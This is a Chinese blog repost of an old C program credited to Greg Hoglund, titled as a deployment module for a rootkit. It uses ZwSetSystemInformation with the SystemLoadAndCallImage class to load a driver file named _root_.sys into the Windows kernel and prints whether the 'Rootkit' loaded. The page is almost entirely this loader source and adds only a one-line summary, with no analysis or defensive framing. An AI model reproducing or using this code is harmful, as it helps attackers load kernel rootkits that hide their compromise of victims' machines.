用ZwSetSystemInformation函数的SystemLoadAndCallImage调用驱动

最新推荐文章于 2020-07-04 12:28:53 发布

转载最新推荐文章于 2020-07-04 12:28:53 发布 · 594 阅读

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/fanzi2009/archive/2010/03/19/1689645.html

本文介绍了一种新的根套件部署模块，通过修改系统信息类加载和调用映像，实现根套件的加载。使用ntdll.dll中的RtlInitUnicodeString和ZwSetSystemInformation函数，将指定路径的根套件模块加载到系统中。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

//////////////////////////////////////// 
// New Deployment Module for rootkit 040 
// ------------------------------------- 
// -Greg Hoglund http://www.rootkit.com 
//////////////////////////////////////// 
#include <windows.h> 
#include <stdio.h> 


typedef struct _UNICODE_STRING { 
    USHORT Length; 
    USHORT MaximumLength; 
#ifdef MIDL_PASS 
    [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; 
#else // MIDL_PASS 
    PWSTR  Buffer; 
#endif // MIDL_PASS 



} UNICODE_STRING, *PUNICODE_STRING; 


typedef unsigned long NTSTATUS; 
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 

NTSTATUS (__stdcall *ZwSetSystemInformation)( 
  IN DWORD SystemInformationClass, 
  IN OUT PVOID SystemInformation, 
  IN ULONG SystemInformationLength 
  ); 


VOID (__stdcall *RtlInitUnicodeString)( 
  IN OUT PUNICODE_STRING  DestinationString, 
  IN PCWSTR  SourceString 
  ); 


typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE 
{ 
 UNICODE_STRING ModuleName; 



} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE; 


#define SystemLoadAndCallImage 38 

void main(void) 
{ 
	/////////////////////////////////////////////////////////////// 
	// Why mess with Drivers? 
	/////////////////////////////////////////////////////////////// 
	SYSTEM_LOAD_AND_CALL_IMAGE GregsImage; 
	WCHAR daPath[] = L"\\??\\C:\\_root_.sys"; 


	////////////////////////////////////////////////////////////// 
	// get DLL entry points 
	////////////////////////////////////////////////////////////// 
	if( !(RtlInitUnicodeString = 
		(void *) GetProcAddress( GetModuleHandle("ntdll.dll"), 
		"RtlInitUnicodeString" )) ) 
		exit(1); 


	if( !(ZwSetSystemInformation = 
		(void *) GetProcAddress( GetModuleHandle("ntdll.dll"), 
		"ZwSetSystemInformation" )) ) 
		exit(1); 


	RtlInitUnicodeString(  &(GregsImage.ModuleName), 
		daPath ); 


	if NT_SUCCESS( 
		ZwSetSystemInformation(  SystemLoadAndCallImage, 
		&GregsImage, 
		sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ) 
	{ 
		printf("Rootkit Loaded.\n"); 
	} 
	else 
	{ 
		printf("Rootkit not loaded.\n"); 
	} 


}

转载于:https://www.cnblogs.com/fanzi2009/archive/2010/03/19/1689645.html